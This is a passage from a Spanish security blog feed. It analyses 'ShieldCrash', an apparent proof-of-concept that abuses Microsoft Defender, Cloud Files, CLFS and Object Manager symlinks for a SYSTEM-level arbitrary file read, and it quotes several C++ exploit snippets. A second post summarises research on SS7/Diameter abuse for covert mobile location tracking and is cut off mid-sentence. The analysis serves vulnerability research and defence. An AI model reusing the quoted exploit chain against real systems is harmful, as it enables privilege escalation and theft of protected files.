CfExecute(&amp;amp;opInfo, &amp;amp;opParams);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El detalle importante no es el contenido concreto de esos recursos, sino que el proceso atacante controla la respuesta de una operación de hidratación. Cloud Files se convierte otra vez en una frontera de confianza: un consumidor privilegiado cree estar trabajando con un fichero determinado, pero el contenido que obtiene durante la hidratación procede de un callback controlado por el atacante.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;ShieldCrash construye además dos directorios dentro de &lt;code dir=&quot;ltr&quot;&gt;\BaseNamedObjects\Restricted&lt;/code&gt;: &lt;code dir=&quot;ltr&quot;&gt;WD_TARGET_&amp;lt;GUID&amp;gt;&lt;/code&gt; y &lt;code dir=&quot;ltr&quot;&gt;WD_SHADOW_&amp;lt;GUID&amp;gt;&lt;/code&gt;. Dentro de este último crea un enlace &lt;code dir=&quot;ltr&quot;&gt;WD_SCAN&lt;/code&gt; que inicialmente apunta a una ruta UNC sobre el recurso administrativo &lt;code dir=&quot;ltr&quot;&gt;C$&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;std::wstring shlnktarget =
    L&quot;\\??\\UNC\\localhost\\C$\\ShieldCrash_&quot; +
    std::wstring(mainguid);

ObjectSymlinkMgr* shlnk =
    new ObjectSymlinkMgr(
        (wchar_t*)shlnkpath.c_str(),
        (wchar_t*)shlnktarget.c_str(),
        shadowdir-&amp;gt;GetHandle());&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y crea una segunda variante del enlace bajo el directorio objetivo, esta vez con un destino que pasa por CLFS:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;std::wstring mnlnktarget =
    L&quot;\\CLFS\\??\\UNC\\localhost\\C$\\ShieldCrash_&quot; +
    std::wstring(mainguid);

ObjectSymlinkMgr* mnlnk =
    new ObjectSymlinkMgr(
        (wchar_t*)shlnkpath.c_str(),
        (wchar_t*)mnlnktarget.c_str(),
        targetdir-&amp;gt;GetHandle());&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El resultado es que la ruta que Defender recibe como objetivo de análisis no es una ruta convencional. La PoC utiliza &lt;code dir=&quot;ltr&quot;&gt;globalroot&lt;/code&gt; para acceder al namespace de Object Manager:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;std::wstring scan_path =
    L&quot;\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_&quot; +
    std::wstring(mainguid) +
    L&quot;\\WD_SCAN\\BERN&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ese &lt;code dir=&quot;ltr&quot;&gt;WD_SCAN&lt;/code&gt; es precisamente el punto donde ShieldCrash vuelve a jugar con la diferencia entre &lt;strong&gt;nombre lógico y objeto real&lt;/strong&gt;. Defender recibe una referencia que parece formar parte de su propio namespace de objetos, mientras que la resolución final puede terminar atravesando el enlace construido por el atacante. La técnica recuerda directamente a ShieldBreak porque la primitiva sigue siendo una manipulación de la identidad del objeto que Defender cree estar procesando.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Después viene una de las partes más interesantes: la PoC primero provoca que Cloud Files proporcione el contenido del &lt;em data-end=&quot;417&quot; data-start=&quot;404&quot;&gt;placeholder&lt;/em&gt; y, a continuación, desencadena el análisis de Defender. Abre el fichero mediante &lt;code dir=&quot;ltr&quot;&gt;CfOpenFileWithOplock&lt;/code&gt; y llama a &lt;code dir=&quot;ltr&quot;&gt;CfHydratePlaceholder&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;HRESULT hres2 =
    CfOpenFileWithOplock(
        malfilepath.c_str(),
        CF_OPEN_FILE_FLAG_FOREGROUND,
        &amp;amp;hsp);

LARGE_INTEGER li2 = { 0 };
li2.QuadPart = dwSize_zip;

hres2 = CfHydratePlaceholder(
    hsp,
    { 0 },
    li2,
    CF_HYDRATE_FLAG_NONE,
    NULL);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El uso del oplock aquí es significativo porque permite sincronizar el comportamiento del objeto Cloud Files con el resto de la cadena. Inmediatamente después la PoC obtiene un &lt;code dir=&quot;ltr&quot;&gt;CF_TRANSFER_KEY&lt;/code&gt; y lanza el análisis de Defender en otro hilo:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;CF_TRANSFER_KEY cftranskey = { 0 };
CfGetTransferKey(hzip, &amp;amp;cftranskey);

HANDLE hthread =
    CreateThread(
        NULL,
        NULL,
        WDStartScan,
        NULL,
        NULL,
        &amp;amp;tid);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Mientras tanto, el proceso monitoriza cambios en el filesystem mediante &lt;code dir=&quot;ltr&quot;&gt;ReadDirectoryChangesW&lt;/code&gt;. No está esperando simplemente a que el antivirus termine; está esperando acontecimientos concretos producidos durante el procesamiento para saber cuándo puede modificar de nuevo la cadena de resolución.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y aquí aparece una de las diferencias más interesantes respecto a la primera versión de ShieldBreak. Cuando detecta el fichero temporal creado durante el procesamiento, elimina el enlace anterior y crea otro apuntando a una segunda ubicación:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;mnlnktarget =
    L&quot;\\??\\UNC\\localhost\\C$\\ShieldCrash_&quot; +
    std::wstring(mainguid) +
    L&quot;_2&quot;;

shlnk = new ObjectSymlinkMgr(
    (wchar_t*)shlnkpath.c_str(),
    (wchar_t*)mnlnktarget.c_str(),
    shadowdir-&amp;gt;GetHandle());&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La carrera ya no consiste simplemente en cambiar un fichero. Lo que se está modificando es el objeto que resuelve una referencia utilizada dentro de la cadena privilegiada de Defender. Además, la PoC crea un segundo directorio y espera nuevamente a eventos generados durante el procesamiento de CLFS.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Finalmente llega la parte que permite convertir toda esta maquinaria en la primitiva declarada por ShieldCrash. El argumento original del programa, es decir, el fichero que queremos leer, termina utilizado como destino de un symbolic link dentro de &lt;code dir=&quot;ltr&quot;&gt;\BaseNamedObjects\Restricted&lt;/code&gt;:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;auto shlnk2 =
    new ObjectSymlinkMgr(
        (wchar_t*)L&quot;\\BaseNamedObjects\\Restricted\\BERN:stream&quot;,
        symlinkftarget.Buffer,
        NULL);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí está probablemente el punto conceptual más importante de ShieldCrash. &lt;code dir=&quot;ltr&quot;&gt;symlinkftarget&lt;/code&gt; procede directamente del primer argumento de la PoC, mientras que el objeto &lt;code dir=&quot;ltr&quot;&gt;BERN:stream&lt;/code&gt; se encuentra dentro del namespace utilizado durante la cadena de procesamiento. Si el flujo privilegiado de Defender termina abriendo ese objeto bajo SYSTEM, la resolución acaba apuntando al fichero seleccionado originalmente por el atacante. La primitiva resultante es, por tanto, una &lt;strong&gt;lectura privilegiada por delegación&lt;/strong&gt;, no una lectura que el proceso atacante pueda realizar directamente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La PoC termina recuperando el contenido mediante una segunda operación de mapeo. Abre el fichero resultante, obtiene su tamaño y crea dos secciones: una de lectura sobre el objeto obtenido y otra de lectura/escritura sobre un fichero creado por la PoC:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;HANDLE hnewsec =
    CreateFileMapping(
        hnewfile3,
        NULL,
        PAGE_READWRITE,
        lif.HighPart,
        lif.LowPart,
        NULL);

HANDLE holdsec =
    CreateFileMapping(
        htempmv,
        NULL,
        PAGE_READONLY,
        lif.HighPart,
        lif.LowPart,
        NULL);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Después mapea ambas secciones y copia el contenido:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;void* buffog =
    MapViewOfFile(
        holdsec,
        FILE_MAP_READ,
        0, 0,
        lif.QuadPart);

void* bufftarget =
    MapViewOfFile(
        hnewsec,
        FILE_MAP_READ | FILE_MAP_WRITE,
        0, 0,
        lif.QuadPart);

memmove(
    bufftarget,
    buffog,
    lif.QuadPart);

FlushViewOfFile(
    bufftarget,
    lif.QuadPart);&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es una forma bastante limpia de demostrar que la operación ha cruzado la frontera de privilegios: el atacante proporciona el path, Defender participa en la resolución privilegiada del objeto y el resultado acaba disponible para el proceso que ejecuta la PoC. El código no necesita todavía convertir esa lectura en una escritura arbitraria ni en ejecución de código. La lectura privilegiada ya demuestra que la corrección aplicada después de ShieldBreak no ha eliminado completamente la primitiva subyacente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso ShieldCrash merece tratarse como algo más que un “ShieldBreak 2”. El propio autor afirma que Microsoft corrigió varias partes del exploit original pero dejó un punto donde todavía puede reutilizarse la cadena. Y el código proporciona indicios bastante concretos de dónde está buscando: vuelve a registrar un proveedor Cloud Files, crea placeholders, utiliza &lt;i&gt;hydration&lt;/i&gt; y oplocks, construye namespaces restringidos de Object Manager, manipula &lt;code dir=&quot;ltr&quot;&gt;WD_SCAN&lt;/code&gt;, coordina los cambios con &lt;code dir=&quot;ltr&quot;&gt;ReadDirectoryChangesW&lt;/code&gt; y finalmente introduce el path arbitrario suministrado por el atacante en un symbolic link que será resuelto dentro del flujo privilegiado.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Todavía hay que ser prudentes con lo que podemos concluir. El repositorio tiene código real y permite estudiar la primitiva, pero el propio investigador lo define como un &lt;em&gt;skeleton PoC&lt;/em&gt; y no publica todavía una cadena completa de SYSTEM. No sabemos, por tanto, si convertir esa lectura arbitraria en una elevación fiable resulta trivial, ni si la primitiva sobrevivirá a futuras actualizaciones. Lo que sí demuestra ya ShieldCrash es algo suficientemente incómodo: después de parchear ShieldBreak, el mismo modelo de confianza de Defender continúa ofreciendo una ruta en la que un usuario de baja integridad puede influir sobre qué objeto termina procesando un componente privilegiado.&lt;/p&gt;&lt;p&gt;Y esa es probablemente la parte más interesante de toda la saga. Microsoft puede corregir el punto exacto utilizado por ShieldBreak, pero mientras Defender siga aceptando referencias provenientes de subsistemas tan complejos como Cloud Files, CLFS y Object Manager, el problema no desaparece necesariamente; simplemente cambia de sitio. ShieldCrash no necesita todavía ser una RCE para resultar relevante: una lectura arbitraria como SYSTEM demuestra que la frontera entre “el objeto que el usuario proporciona” y “el objeto que SYSTEM termina procesando” todavía puede romperse.&lt;/p&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Conclusiones&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;La cronología es bastante reveladora. Microsoft publicó el fix de RoguePlanet con Defender Engine 1.1.26060.3008 el 30 de junio. En agosto apareció ShieldBreak y Microsoft le asignó CVE-2026-69414. Finalmente, Microsoft publicó el motor 1.1.26080.3 el 1 de septiembre de 2026, y las notas oficiales identifican esa versión junto con la plataforma 4.18.26080.3. Una semana después aparece ShieldCrash afirmando precisamente que el parche de ShieldBreak dejó una superficie residual.&lt;/p&gt;&lt;p&gt;Esto es probablemente lo más interesante de toda la historia. No estamos viendo simplemente tres CVE consecutivos en Defender; estamos viendo una especie de &lt;em&gt;patch diffing&lt;/em&gt; conceptual realizado sobre una superficie extremadamente compleja. RoguePlanet demuestra que el modelo de confianza puede romperse mediante una condición de carrera. Microsoft corrige esa implementación. ShieldBreak cambia completamente de primitiva y demuestra que todavía existe una ruta para convertir operaciones privilegiadas de Defender en una primitiva de escritura. Microsoft vuelve a parchear. ShieldCrash aparece inmediatamente después buscando aquello que quedó fuera del parche.&lt;/p&gt;&lt;p&gt;Desde el punto de vista de un atacante local, Defender resulta especialmente atractivo porque ofrece exactamente lo que una vulnerabilidad de EoP necesita: privilegios muy altos, una enorme superficie de entrada y operaciones sobre objetos que un usuario normal no podría modificar directamente. El motor tiene que abrir archivos, seguir referencias, inspeccionar contenido, interactuar con almacenamiento local y remoto, descargar componentes, realizar remediaciones y mantener estado. Cada una de esas operaciones introduce fronteras de confianza.&lt;/p&gt;&lt;p&gt;Y precisamente por eso el patrón que dejan RoguePlanet y ShieldBreak es más interesante que cualquiera de las técnicas individuales utilizadas por las PoC. La pregunta no es “¿puedo conseguir que Defender ejecute mi código?”, sino “¿puedo conseguir que Defender ejecute correctamente una operación legítima cuyo resultado, desde mi perspectiva, equivale a una primitiva privilegiada?”.&lt;/p&gt;&lt;p&gt;Ese cambio de mentalidad es importante también para analizar otros productos de seguridad. Antivirus, EDR, DLP, backup agents, indexadores, software de gestión y cualquier servicio que ejecute como SYSTEM y procese datos controlados por usuarios forman una categoría especialmente atractiva para EoP. Cuanto más complejo sea el pipeline, más difícil resulta garantizar que la identidad del objeto validado al principio de una operación coincide con la identidad del objeto utilizado al final.&lt;/p&gt;&lt;p&gt;En ShieldBreak se ve de forma casi didáctica: el atacante no necesita tener permisos para escribir en &lt;code inline=&quot;&quot;&gt;System32&lt;/code&gt;; necesita encontrar una cadena en la que un componente que sí los tiene termine haciendo esa escritura. La primitiva de seguridad se convierte entonces en la primitiva de explotación.&lt;/p&gt;&lt;p&gt;Por eso la evolución RoguePlanet → ShieldBreak → ShieldCrash merece seguirse como una única historia. RoguePlanet demuestra que Defender puede convertirse en un &lt;em&gt;confused deputy&lt;/em&gt; explotable. ShieldBreak demuestra que el problema no desaparece simplemente corrigiendo la condición de carrera original y que existen caminos mucho más profundos a través de Cloud Files, CLFS y Object Manager. ShieldCrash, todavía mucho más preliminar, plantea la posibilidad de que incluso después de cerrar esa segunda cadena permanezcan operaciones privilegiadas reutilizables.&lt;/p&gt;&lt;p&gt;La conclusión para un atacante local es bastante incómoda para Microsoft: no necesitas atacar directamente el mecanismo que protege SYSTEM si puedes atacar el mecanismo que SYSTEM utiliza para protegerte. Y para un investigador de Windows internals, quizá esa sea precisamente la parte más interesante de toda esta saga.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/5722069242297431837/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/09/rogueplanet-shieldbreak-y-shieldcrash.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5722069242297431837'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5722069242297431837'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/09/rogueplanet-shieldbreak-y-shieldcrash.html' title='RoguePlanet, ShieldBreak y ShieldCrash: cuando Microsoft Defender se convierte en la palanca para elevar privilegios'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZV37DO4ZygXXjFymHToWMnw3zX2-IKRQrhEdrClBfElLw_nOBLZQSkDwHuqkgxqTn6nzjzsS-OKBIA0FrxRnP1FPVNTHAPDpdP2OWA3yd3R0P8TY8Q2ZZ4WsdTdwsEsZkQmmASQ9COG4FspTAYqA3b3DimfBcZJ8ChaRkcFxtrp6L_F9emkIvN7p_7Llh/s72-w123-h152-c/escudo_defender.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-1192201842145913374</id><published>2026-08-26T01:21:42.153+02:00</published><updated>2026-08-26T01:26:16.386+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ciberguerra"/><category scheme="http://www.blogger.com/atom/ns#" term="ciberinteligencia"/><category scheme="http://www.blogger.com/atom/ns#" term="osint"/><category scheme="http://www.blogger.com/atom/ns#" term="vigilancia"/><title type='text'>Ghost Operators: cuando la red móvil se convierte en una plataforma de vigilancia</title><content type='html'>&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-end=&quot;545&quot; data-start=&quot;85&quot;&gt;Hay ataques que empiezan con un phishing, otros con un exploit contra un servidor expuesto y otros con el compromiso de un endpoint. Pero existe otra categoría mucho más difícil de percibir: aquellos en los que el atacante no necesita comprometer nuestro ordenador ni nuestro teléfono. Le basta con conseguir que la infraestructura que conecta nuestra red móvil con el resto del mundo crea que quien está haciendo la petición es alguien en quien puede confiar.&lt;span aria-hidden=&quot;true&quot; class=&quot;PDq2pG_selectionAnchor&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p data-end=&quot;959&quot; data-start=&quot;547&quot;&gt;Ese es el escenario que describe &lt;strong data-end=&quot;702&quot; data-start=&quot;580&quot;&gt;Citizen Lab en su investigación “Bad Connection: Uncovering Global Telecom Exploitation by Covert Surveillance Actors”&lt;/strong&gt;, publicada en abril de 2026. El estudio analiza dos campañas de vigilancia y reconstruye cómo determinados actores utilizaron &lt;strong data-end=&quot;914&quot; data-start=&quot;829&quot;&gt;SS7, Diameter, identidades de operadores legítimos y proveedores de interconexión&lt;/strong&gt; para intentar localizar objetivos concretos.&lt;/p&gt;&lt;p data-end=&quot;1243&quot; data-start=&quot;961&quot;&gt;Lo interesante no es que SS7 tenga problemas de seguridad, algo conocido desde hace años. Lo realmente interesante es cómo esas debilidades se integran en operaciones sofisticadas donde el atacante cambia de protocolo, identidad y ruta para encontrar un camino que todavía funcione.&lt;/p&gt;&lt;p data-end=&quot;1381&quot; data-start=&quot;1245&quot;&gt;No estamos ante el típico &lt;em data-end=&quot;1288&quot; data-start=&quot;1271&quot;&gt;exploit → shell&lt;/em&gt;. Estamos ante algo más sutil: &lt;strong data-end=&quot;1380&quot; data-start=&quot;1319&quot;&gt;el abuso de una infraestructura que ya confía en nosotros&lt;/strong&gt;.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Una red invisible sobre la red&lt;/b&gt;&lt;/h4&gt;&lt;p data-end=&quot;1717&quot; data-start=&quot;1418&quot;&gt;Cuando hacemos una llamada, enviamos un SMS o viajamos al extranjero, nuestro teléfono desencadena una enorme cantidad de intercambio de información entre operadores. La infraestructura de señalización permite autenticar abonados, gestionar roaming, conocer su localización y enrutar comunicaciones.&lt;/p&gt;&lt;p data-end=&quot;1940&quot; data-start=&quot;1719&quot;&gt;Durante décadas, una parte fundamental se construyó sobre &lt;strong data-end=&quot;1810&quot; data-start=&quot;1777&quot;&gt;SS7 (Signalling System No. 7)&lt;/strong&gt; y protocolos como MAP. Con 4G apareció &lt;strong data-end=&quot;1862&quot; data-start=&quot;1850&quot;&gt;Diameter&lt;/strong&gt;, que continúa desempeñando un papel importante en el roaming y el core móvil.&lt;/p&gt;&lt;p data-end=&quot;2107&quot; data-start=&quot;1942&quot;&gt;Aunque Diameter introdujo mecanismos de seguridad más modernos, las redes siguen necesitando relaciones de confianza entre operadores y proveedores de interconexión.&lt;/p&gt;&lt;p data-end=&quot;2398&quot; data-start=&quot;2109&quot;&gt;Cuando un atacante consigue utilizar una identidad que el resto de la infraestructura considera legítima, puede no necesitar explotar una vulnerabilidad convencional. Puede simplemente utilizar una funcionalidad legítima para realizar una operación que nunca debería haber podido realizar.&lt;/p&gt;&lt;p data-end=&quot;2473&quot; data-start=&quot;2400&quot;&gt;Es, en cierto modo, un &lt;strong data-end=&quot;2472&quot; data-start=&quot;2423&quot;&gt;Living off the Land de las telecomunicaciones&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;2541&quot; data-start=&quot;2475&quot;&gt;Y una de las cosas que puede preguntarse a esa infraestructura es:&lt;/p&gt;&lt;p data-end=&quot;2572&quot; data-start=&quot;2543&quot;&gt;&lt;strong data-end=&quot;2572&quot; data-start=&quot;2543&quot;&gt;¿Dónde está este abonado?&lt;/strong&gt;&lt;/p&gt;&lt;h2 data-end=&quot;2627&quot; data-section-id=&quot;pl9fwr&quot; data-start=&quot;2579&quot;&gt;STA1: cuatro horas persiguiendo a un objetivo&lt;/h2&gt;&lt;p data-end=&quot;2735&quot; data-start=&quot;2629&quot;&gt;La primera campaña investigada por Citizen Lab recibe el nombre de &lt;strong data-end=&quot;2734&quot; data-start=&quot;2696&quot;&gt;Surveillance Threat Actor 1 (STA1)&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;2951&quot; data-start=&quot;2737&quot;&gt;El 25 de noviembre de 2024, los investigadores observaron una secuencia de mensajes de señalización dirigidos contra un abonado de un operador de Oriente Medio, posteriormente identificado como un abonado &lt;strong data-end=&quot;2950&quot; data-start=&quot;2942&quot;&gt;VVIP&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;3151&quot; data-start=&quot;2953&quot;&gt;Durante aproximadamente cuatro horas, el atacante fue cambiando de protocolo e identidad mientras intentaba atravesar las defensas: primero SS7, después Diameter, de nuevo SS7 y finalmente Diameter.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Citizen Lab identificó &lt;strong data-end=&quot;3249&quot; data-start=&quot;3176&quot;&gt;11 identidades de operadores pertenecientes a nueve países diferentes&lt;/strong&gt;.&lt;/h3&gt;&lt;p data-end=&quot;3562&quot; data-start=&quot;3252&quot;&gt;Entre las operaciones observadas aparecen mecanismos clásicos de localización mediante SS7, como &lt;strong data-end=&quot;3389&quot; data-start=&quot;3349&quot;&gt;Provide Subscriber Information (PSI)&lt;/strong&gt; y &lt;strong data-end=&quot;3422&quot; data-start=&quot;3392&quot;&gt;AnyTimeInterrogation (ATI)&lt;/strong&gt;. Dependiendo de la configuración de la red, estas operaciones pueden proporcionar información relacionada con el abonado y su localización.&lt;/p&gt;&lt;p data-end=&quot;3785&quot; data-start=&quot;3564&quot;&gt;El atacante no necesita ejecutar código en el teléfono ni explotar Android o iOS. Necesita conseguir que una red responda a una consulta que, en circunstancias normales, solo debería poder realizar un operador autorizado.&lt;/p&gt;&lt;p data-end=&quot;3882&quot; data-start=&quot;3787&quot;&gt;Por eso resulta más apropiado hablar de &lt;strong data-end=&quot;3849&quot; data-start=&quot;3827&quot;&gt;abuso de confianza&lt;/strong&gt; que de explotación convencional.&lt;/p&gt;&lt;p data-end=&quot;3927&quot; data-start=&quot;3884&quot;&gt;El protocolo puede funcionar perfectamente.&lt;/p&gt;&lt;p data-end=&quot;4009&quot; data-start=&quot;3929&quot;&gt;El problema es que &lt;strong data-end=&quot;4008&quot; data-start=&quot;3948&quot;&gt;quien está haciendo la pregunta no debería poder hacerla&lt;/strong&gt;.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Diameter: cuando la identidad también puede ser un arma&lt;/h3&gt;&lt;p data-end=&quot;4311&quot; data-start=&quot;4076&quot;&gt;Después de varios intentos mediante SS7, STA1 comenzó a utilizar Diameter. Citizen Lab observó mensajes &lt;code data-end=&quot;4212&quot; data-start=&quot;4180&quot;&gt;Insert-Subscriber-Data-Request&lt;/code&gt; (IDR) procedentes de diferentes infraestructuras antes de que el actor regresara nuevamente a SS7.&lt;/p&gt;&lt;p data-end=&quot;4435&quot; data-start=&quot;4313&quot;&gt;Uno de los detalles más interesantes es la manipulación de campos como &lt;strong data-end=&quot;4434&quot; data-start=&quot;4384&quot;&gt;&lt;code data-end=&quot;4399&quot; data-start=&quot;4386&quot;&gt;Origin-Host&lt;/code&gt;, &lt;code data-end=&quot;4415&quot; data-start=&quot;4401&quot;&gt;Origin-Realm&lt;/code&gt; y &lt;code data-end=&quot;4432&quot; data-start=&quot;4418&quot;&gt;Route-Record&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;4763&quot; data-start=&quot;4437&quot;&gt;Estos valores permiten identificar el origen de un mensaje y seguir parte de su recorrido. Sin embargo, Citizen Lab observó combinaciones inconsistentes entre &lt;code data-end=&quot;4609&quot; data-start=&quot;4596&quot;&gt;Origin-Host&lt;/code&gt; y &lt;code data-end=&quot;4626&quot; data-start=&quot;4612&quot;&gt;Origin-Realm&lt;/code&gt;, aparentemente utilizadas para presentar el tráfico como procedente de otro operador y conseguir una ruta alternativa hacia el objetivo.&lt;/p&gt;&lt;p data-end=&quot;4890&quot; data-start=&quot;4765&quot;&gt;No estamos necesariamente ante una vulnerabilidad que termine en RCE. El protocolo puede estar funcionando como fue diseñado.&lt;/p&gt;&lt;p data-end=&quot;4955&quot; data-start=&quot;4892&quot;&gt;El atacante está explotando algo mucho más difícil de parchear:&lt;/p&gt;&lt;p data-end=&quot;5028&quot; data-start=&quot;4957&quot;&gt;&lt;strong data-end=&quot;5028&quot; data-start=&quot;4957&quot;&gt;la confianza depositada en los metadatos que identifican al emisor.&lt;/strong&gt;&lt;/p&gt;&lt;p data-end=&quot;5241&quot; data-start=&quot;5030&quot;&gt;Además, las anomalías encontradas en &lt;code data-end=&quot;5081&quot; data-start=&quot;5067&quot;&gt;Route-Record&lt;/code&gt; proporcionan indicios de manipulación del camino. La conclusión es importante: &lt;strong data-end=&quot;5240&quot; data-start=&quot;5161&quot;&gt;la propia topología de interconexión forma parte de la superficie de ataque&lt;/strong&gt;.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;IPX: el Internet de las operadoras&lt;/h3&gt;&lt;p data-end=&quot;5488&quot; data-start=&quot;5287&quot;&gt;Los operadores utilizan proveedores &lt;strong data-end=&quot;5344&quot; data-start=&quot;5323&quot;&gt;IPX (IP Exchange)&lt;/strong&gt; para transportar tráfico entre redes, incluida la señalización de roaming. Esto introduce intermediarios adicionales en la cadena de confianza.&lt;/p&gt;&lt;p data-end=&quot;5609&quot; data-start=&quot;5490&quot;&gt;Citizen Lab identificó diferentes proveedores IPX en los caminos observados, entre ellos &lt;strong data-end=&quot;5608&quot; data-start=&quot;5579&quot;&gt;BICS, Comfone y Syniverse&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;5780&quot; data-start=&quot;5611&quot;&gt;Desde el punto de vista de seguridad, no basta con saber qué operadores están autorizados. También hay que conocer &lt;strong data-end=&quot;5779&quot; data-start=&quot;5726&quot;&gt;qué infraestructura y qué rutas deberían utilizar&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;5930&quot; data-start=&quot;5782&quot;&gt;Un mensaje aparentemente legítimo puede resultar sospechoso si aparece desde una ruta que no coincide con las relaciones de interconexión conocidas.&lt;/p&gt;&lt;p data-end=&quot;6012&quot; data-start=&quot;5932&quot;&gt;La pregunta deja de ser simplemente &lt;em data-end=&quot;5998&quot; data-start=&quot;5968&quot;&gt;“¿quién está enviando esto?”&lt;/em&gt; y pasa a ser:&amp;nbsp;&lt;strong data-end=&quot;6098&quot; data-start=&quot;6016&quot;&gt;¿Quién está autorizado a realizar esta petición, desde dónde y por qué camino?&lt;/strong&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;El fingerprint del atacante&lt;/h3&gt;&lt;p data-end=&quot;6218&quot; data-start=&quot;6137&quot;&gt;Aunque el atacante utilice identidades legítimas, no significa que sea invisible.&lt;/p&gt;&lt;p data-end=&quot;6449&quot; data-start=&quot;6220&quot;&gt;Citizen Lab encontró patrones en los &lt;strong data-end=&quot;6291&quot; data-start=&quot;6257&quot;&gt;Transaction Identifiers de SS7&lt;/strong&gt; que permitían relacionar consultas aparentemente procedentes de redes distintas. También identificó estructuras particulares en los &lt;code data-end=&quot;6436&quot; data-start=&quot;6424&quot;&gt;Session-ID&lt;/code&gt; de Diameter.&lt;/p&gt;&lt;p data-end=&quot;6587&quot; data-start=&quot;6451&quot;&gt;Uno de los detalles más llamativos aparece en STA2, donde el &lt;strong data-end=&quot;6586&quot; data-start=&quot;6512&quot;&gt;IMSI del objetivo estaba embebido directamente dentro del &lt;code data-end=&quot;6584&quot; data-start=&quot;6572&quot;&gt;Session-ID&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;p data-end=&quot;6819&quot; data-start=&quot;6589&quot;&gt;Es un buen ejemplo del valor del &lt;em data-end=&quot;6638&quot; data-start=&quot;6622&quot;&gt;threat hunting&lt;/em&gt;. Un atacante puede cambiar de IP, operador o ruta, pero resulta mucho más difícil cambiar simultáneamente la forma en que su plataforma genera identificadores y construye mensajes.&lt;/p&gt;&lt;p data-end=&quot;6935&quot; data-start=&quot;6821&quot;&gt;Los errores de implementación terminan convirtiéndose en una especie de &lt;strong data-end=&quot;6934&quot; data-start=&quot;6893&quot;&gt;firma de la herramienta de 